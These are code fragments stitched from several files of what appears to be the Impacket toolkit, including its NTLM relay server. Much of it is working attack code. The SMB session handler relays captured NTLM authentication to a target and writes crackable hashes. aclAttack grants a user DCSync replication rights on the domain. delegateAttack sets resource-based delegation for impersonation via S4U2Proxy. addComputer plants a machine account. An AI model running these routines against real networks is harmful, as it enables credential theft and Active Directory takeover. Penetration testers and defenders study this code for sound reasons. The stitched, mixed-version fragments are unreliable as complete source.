(hexlify( tag[offsetItem:][:itemSize]), ) else: record[column] = tag[offsetItem:][:itemSize] else: record[column] = None else: record[column] = None # If we understand the data type, we unpack it and cast it accordingly # otherwise, we just encode it in hex if type(record[column]) is tuple: # A multi value data, we won't decode it, just leave it this way record[column] = record[column][0] elif columnRecord['ColumnType'] == JET_coltypText or columnRecord[ 'ColumnType'] == JET_coltypLongText: # Let's handle strings if record[column] is not None: if columnRecord['CodePage'] not in StringCodePages: raise Exception('Unknown codepage 0x%x' % columnRecord['CodePage']) stringDecoder = StringCodePages[columnRecord['CodePage']] try: record[column] = record[column].decode(stringDecoder) except Exception as e: LOG.debug('Record[column] %r' % repr(record[column])) raise else: unpackData = ColumnTypeSize[columnRecord['ColumnType']] if record[column] is not None: if unpackData is None: record[column] = hexlify(record[column]) else: unpackStr = unpackData[1] unpackSize = unpackData[0] record[column] = unpack(unpackStr, record[column])[0] return record
def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: # Nope, do we know it? if mechType in MechTypes: mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken return [respSMBCommand ], None, STATUS_MORE_PROCESSING_REQUIRED elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data connData['Uid'] = random.randint(1, 0xffffffff) connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x02: # CHALLENGE_MESSAGE raise Exception('Challenge Message raise, not implemented!') elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': # For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob securityBlob = respToken2.getData() clientResponse, errorCode = self.do_ntlm_auth( client, token, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: #Log this target as processed for this client self.targetprocessor.logTarget(self.target) LOG.error( "Authenticating against %s://%s as %s\\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.info( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) connData['Authenticated'] = True self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = b'\x00' # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def keepAliveTimer(server): LOG.debug('KeepAlive Timer reached. Updating connections') for target in list(server.activeRelays.keys()): for port in list(server.activeRelays[target].keys()): # Now cycle through the users for user in list(server.activeRelays[target][port].keys()): if user != 'data' and user != 'scheme': # Let's call the keepAlive method for the handler to keep the connection alive if server.activeRelays[target][port][user][ 'inUse'] is False: LOG.debug('Calling keepAlive() for %s@%s:%s' % (user, target, port)) try: server.activeRelays[target][port][user][ 'protocolClient'].keepAlive() except Exception as e: LOG.debug("Exception:", exc_info=True) LOG.debug('SOCKS: %s' % str(e)) if str(e).find('Broken pipe') >= 0 or str(e).find('reset by peer') >=0 or \ str(e).find('Invalid argument') >= 0 or str(e).find('Server not connected') >=0: # Connection died, taking out of the active list del (server.activeRelays[target][port][user]) if len( list(server.activeRelays[target] [port].keys())) == 1: del (server.activeRelays[target][port]) LOG.debug( 'Removing active relay for %s@%s:%s' % (user, target, port)) else: LOG.debug( 'Skipping %s@%s:%s since it\'s being used at the moment' % (user, target, port))
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append( create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append( create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.info( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') # Query the SD again to see what AD made of it self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def delegateAttack(self, usersam, targetsam, domainDumper, sid): global delegatePerformed if targetsam in delegatePerformed: LOG.info( 'Delegate attack already performed for this computer, skipping' ) return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam if not sid: # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) else: escalate_sid = usersam # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=[ 'SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity' ]) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR( data=targetuser['raw_attributes'] ['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify( targetuser['dn'], { 'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]] }) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error( 'Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error( 'Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
def processTunnelData(self, keyword, tag, data): # Pass the request to the server, store the tag unless the last command # was a continuation. In the case of the continuation we still check if # there were commands issued after analyze = data.split(EOL)[:-1] if keyword == '+': # We do send the continuation to the server # but we don't analyze it self.relaySocket.sendall(analyze.pop(0) + EOL) keyword = '' for line in analyze: info = line.split(' ') tag = info[0] # See if a LOGOUT command was sent, in which case we want to close # the connection to the client but keep the relayed connection alive # also handle APPEND commands try: if info[1].upper() == 'IDLE': self.idleState = True elif info[1].upper() == 'DONE': self.idleState = False elif info[1].upper() == 'CLOSE': self.shouldClose = False elif info[1].upper() == 'LOGOUT': self.socksSocket.sendall('%s OK LOGOUT completed.%s' % (tag, EOL)) return False elif info[1].upper() == 'APPEND': LOG.debug( 'IMAP socks APPEND command detected, forwarding email data' ) # APPEND command sent, forward all the data, no further commands here self.relaySocket.sendall(data) sent = len(data) - len(line) + len(EOL) # https://tools.ietf.org/html/rfc7888 literal = info[4][1:-1] if literal[-1] == '+': literalPlus = True totalSize = int(literal[:-1]) else: literalPlus = False totalSize = int(literal) while sent < totalSize: data = self.socksSocket.recv(self.packetSize) self.relaySocket.sendall(data) sent += len(data) LOG.debug('Forwarded %d bytes' % sent) if literalPlus: data = self.socksSocket.recv(self.packetSize) self.relaySocket.sendall(data) LOG.debug('IMAP socks APPEND command complete') # break out of the analysis loop break except IndexError: pass self.relaySocket.sendall(line + EOL) # Send the response back to the client, until the command is complete # or the server requests more data while keyword != tag and keyword != '+': try: data = self.relaySocketFile.readline() except Exception, e: # This didn't break the connection to the server, don't make it fatal LOG.debug("IMAP relaySocketFile: %s" % str(e)) return False keyword = data.split(' ', 2)[0] try: self.socksSocket.sendall(data) except Exception, e: LOG.debug("IMAP socksSocket: %s" % str(e)) return False
def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper): standardrights = [ self.GENERIC_ALL, self.GENERIC_WRITE, self.GENERIC_READ, ACCESS_MASK.WRITE_DACL ] for entry in entries: if entry['type'] != 'searchResEntry': continue dn = entry['dn'] try: sdData = entry['raw_attributes']['nTSecurityDescriptor'][0] except IndexError: # We don't have the privileges to read this security descriptor LOG.debug('Access to security descriptor was denied for DN %s', dn) continue hasFullControl = False secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() secDesc.fromString(sdData) if secDesc['OwnerSid'] != '' and secDesc[ 'OwnerSid'].formatCanonical() in membersids: sid = secDesc['OwnerSid'].formatCanonical() LOG.debug( 'Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid])) hasFullControl = True # Iterate over all the ACEs for ace in secDesc['Dacl'].aces: sid = ace['Ace']['Sid'].formatCanonical() if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[ 'AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE: continue if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag( ACE.INHERIT_ONLY_ACE): # ACE is set on this object, but only inherited, so not applicable to us continue # Check if the ACE has restrictions on object type (inherited case) if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ and ace.hasFlag(ACE.INHERITED_ACE) \ and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT): # Verify if the ACE applies to this object type inheritedObjectType = bin_to_string( ace['Ace']['InheritedObjectType']).lower() if not self.aceApplies( inheritedObjectType, entry['raw_attributes']['objectClass'][-1]): continue # Check for non-extended rights that may not apply to us if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace'][ 'Mask'].hasPriv(ACCESS_MASK.WRITE_DACL): # Check if this applies to our objecttype if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[ 'Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE. ACE_OBJECT_TYPE_PRESENT): objectType = bin_to_string( ace['Ace']['ObjectType']).lower() if not self.aceApplies( objectType, entry['raw_attributes']['objectClass'][-1]): # LOG.debug('ACE does not apply, only to %s', objectType) continue if sid in membersids: # Generic all if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL): ace.dump() LOG.debug( 'Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid])) hasFullControl = True if can_create_users(ace) or hasFullControl: if not hasFullControl: LOG.debug( 'Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid])) if dn == 'CN=Users,%s' % domainDumper.root: # We can create users in the default container, this is preferred privs['create'] = True privs['createIn'] = dn else: # Could be a different OU where we have access # store it until we find a better place if privs[ 'createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry[ 'raw_attributes']['objectClass']: privs['create'] = True privs['createIn'] = dn if can_add_member(ace) or hasFullControl: if b'group' in entry['raw_attributes']['objectClass']: # We can add members to a group if not hasFullControl: LOG.debug( 'Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid])) privs['escalateViaGroup'] = True privs['escalateGroup'] = dn if ace['Ace']['Mask'].hasPriv( ACCESS_MASK.WRITE_DACL) or hasFullControl: # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to # a property, which is both weird and useless, so we skip it if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set') continue if not hasFullControl: LOG.debug( 'Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid])) # We can modify the domain Dacl if b'domain' in entry['raw_attributes']['objectClass']: privs['aclEscalate'] = True privs['aclEscalateIn'] = dn
def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper): for entry in entries: if entry['type'] != 'searchResEntry': continue dn = entry['dn'] try: sdData = entry['raw_attributes']['nTSecurityDescriptor'][0] except IndexError: # We don't have the privileges to read this security descriptor continue hasFullControl = False secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() secDesc.fromString(sdData) if secDesc['OwnerSid'] != '' and secDesc[ 'OwnerSid'].formatCanonical() in membersids: sid = secDesc['OwnerSid'].formatCanonical() LOG.debug( 'Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid])) hasFullControl = True # Iterate over all the ACEs for ace in secDesc['Dacl'].aces: sid = ace['Ace']['Sid'].formatCanonical() if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[ 'AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE: continue if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag( ACE.INHERIT_ONLY_ACE): # ACE is set on this object, but only inherited, so not applicable to us continue # Check if the ACE has restrictions on object type if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ and ace.hasFlag(ACE.INHERITED_ACE) \ and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT): # Verify if the ACE applies to this object type if not self.aceApplies( ace, entry['raw_attributes']['objectClass']): continue if sid in membersids: if can_create_users(ace) or hasFullControl: if not hasFullControl: LOG.debug( 'Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid])) if dn == 'CN=Users,%s' % domainDumper.root: # We can create users in the default container, this is preferred privs['create'] = True privs['createIn'] = dn else: # Could be a different OU where we have access # store it until we find a better place if privs[ 'createIn'] != 'CN=Users,%s' % domainDumper.root and 'organizationalUnit' in entry[ 'raw_attributes']['objectClass']: privs['create'] = True privs['createIn'] = dn if can_add_member(ace) or hasFullControl: if 'group' in entry['raw_attributes']['objectClass']: # We can add members to a group if not hasFullControl: LOG.debug( 'Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid])) privs['escalateViaGroup'] = True privs['escalateGroup'] = dn if ace['Ace']['Mask'].hasPriv( ACCESS_MASK.WRITE_DACL) or hasFullControl: if not hasFullControl: LOG.debug( 'Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid])) # We can modify the domain Dacl if 'domain' in entry['raw_attributes']['objectClass']: privs['aclEscalate'] = True privs['aclEscalateIn'] = dn
def smb2TreeConnect(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) authenticateMessage = connData['AUTHENTICATE_MESSAGE'] self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), authenticateMessage['user_name'].decode ('utf-16le'))).upper () # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: # # Connection already relayed, let's just answer the request (that will return object not found) # return self.origsmb2TreeConnect(connId, smbServer, recvPacket) try: if self.config.mode.upper () == 'REFLECTION': self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP']) self.target = self.targetprocessor.getTarget(identity = self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) return self.origsmb2TreeConnect (connId, smbServer, recvPacket) LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['relayToHost'] = True connData['Authenticated'] = False del (connData['NEGOTIATE_MESSAGE']) del (connData['CHALLENGE_MESSAGE']) del (connData['AUTHENTICATE_MESSAGE']) connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = recvPacket['Command'] respPacket['SessionID'] = connData['Uid'] respPacket['Reserved'] = recvPacket['Reserved'] respPacket['MessageID'] = recvPacket['MessageID'] respPacket['TreeID'] = recvPacket['TreeID'] respSMBCommand = smb3.SMB2TreeConnect_Response() # This is the key, force the client to reconnect. # It will loop until all targets are processed for this user errorCode = STATUS_NETWORK_SESSION_EXPIRED respPacket['Status'] = errorCode respSMBCommand['Capabilities'] = 0 respSMBCommand['MaximalAccess'] = 0x000f01ff respPacket['Data'] = respSMBCommand # Sign the packet if needed if connData['SignatureEnabled']: smbServer.signSMBv2(respPacket, connData['SigningSessionKey']) smbServer.setConnectionData(connId, connData) return None, [respPacket], errorCode
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: None, raises a Session Error if error. """ import os from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import KerberosError from impacket.krb5 import constants self._kdcHost = kdcHost self._useCache = useCache if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'].decode('utf-8') LOG.debug('Domain retrieved from CCache: %s' % domain) principal = 'cifs/%s@%s' % (self.getRemoteName().upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) LOG.debug('Using TGS from cache') # retrieve user information from CCache file if needed if user == '' and creds is not None: user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') LOG.debug('Username retrieved from CCache: %s' % user) elif user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'].decode('utf-8') LOG.debug('Username retrieved from CCache: %s' % user) while True: try: if self.getDialect() == smb.SMB_DIALECT: return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) except (smb.SessionError, smb3.SessionError) as e: raise SessionError(e.get_error_code(), e.get_error_packet()) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None: lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise e else: raise e
try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) except KerberosError, e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and ( aesKey is '' or aesKey is None ) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug( 'Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) continue else: raise else: raise else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] # Now that we have the TGT, we should ask for a TGS for cifs
'clients'): if file.find('__') >= 0 or file.endswith('.py') is False: continue # This seems to be None in some case (py3 only) # __spec__ is py3 only though, but I haven't seen this being None on py2 # so it should cover all cases. try: package = __spec__.name # Python 3 except NameError: package = __package__ # Python 2 __import__(package + '.' + os.path.splitext(file)[0]) module = sys.modules[package + '.' + os.path.splitext(file)[0]] try: pluginClasses = set() try: if hasattr(module, 'PROTOCOL_CLIENT_CLASSES'): for pluginClass in module.PROTOCOL_CLIENT_CLASSES: pluginClasses.add(getattr(module, pluginClass)) else: pluginClasses.add( getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS'))) except Exception as e: LOG.debug(e) pass for pluginClass in pluginClasses: LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME) PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass except Exception as e: LOG.debug(str(e))
def addComputer(self, parent, domainDumper): """ Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') return # Random password newPassword = ''.join( random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Get the domain we are in domaindn = domainDumper.root domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] computerName = self.computerName if computerName == '': # Random computername newComputer = ( ''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() else: newComputer = computerName if computerName.endswith( '$') else computerName + '$' computerHostname = newComputer[:-1] newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') # Default computer SPNs spns = [ 'HOST/%s' % computerHostname, 'HOST/%s.%s' % (computerHostname, domain), 'RestrictedKrbHost/%s' % computerHostname, 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), ] ucd = { 'dnsHostName': '%s.%s' % (computerHostname, domain), 'userAccountControl': 4096, 'servicePrincipalName': spns, 'sAMAccountName': newComputer, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.debug('New computer info %s', ucd) LOG.info('Attempting to create computer in: %s', parent) res = self.client.add( newComputerDn.decode('utf-8'), ['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd) if not res: # Adding computers requires LDAPS if self.client.result[ 'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error( 'Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.' ) else: LOG.error('Failed to add a new computer: %s' % str(self.client.result)) return False else: LOG.info( 'Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) alreadyAddedComputer = True # Return the SAM name return newComputer
def tunnelConnection(self): # For the rest of the remaining packets, we should just read and send. Except when trying to log out, # that's forbidden! ;) while True: # 1. Get Data from client data = self.__NBSession.recv_packet().get_trailer() if len(data) == 0: break if self.isSMB2 is False: packet = NewSMBPacket(data=data) if packet['Command'] == SMB.SMB_COM_LOGOFF_ANDX: # We do NOT want to get logged off do we? LOG.debug('SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort)) data = self.getLogOffAnswer(packet) else: # 2. Send it to the relayed session self.clientConnection.getSMBServer()._sess.send_packet(str(data)) # 3. Get the target's answer data = self.clientConnection.getSMBServer()._sess.recv_packet().get_trailer() packet = NewSMBPacket(data=data) if packet['Command'] == SMB.SMB_COM_TRANSACTION or packet['Command'] == SMB.SMB_COM_TRANSACTION2: try: while True: # Anything else to read? with timeout of 1 sec. This is something to test or find # a better way to control data2 = self.clientConnection.getSMBServer()._sess.recv_packet(timeout=1).get_trailer() self.__NBSession.send_packet(str(data)) data = data2 except Exception, e: if str(e).find('timed out') > 0: pass else: raise if len(data) == 0: break else: packet = SMB2Packet(data=data) origID = packet['MessageID'] # Just in case, let's remove any signing attempt packet['Signature'] = "" packet['Flags'] &= ~(SMB2_FLAGS_SIGNED) # Let's be sure the TreeConnect Table is filled with fake data if self.clientConnection.getSMBServer()._Session['TreeConnectTable'].has_key(packet['TreeID']) is False: self.clientConnection.getSMBServer()._Session['TreeConnectTable'][packet['TreeID']] = {} 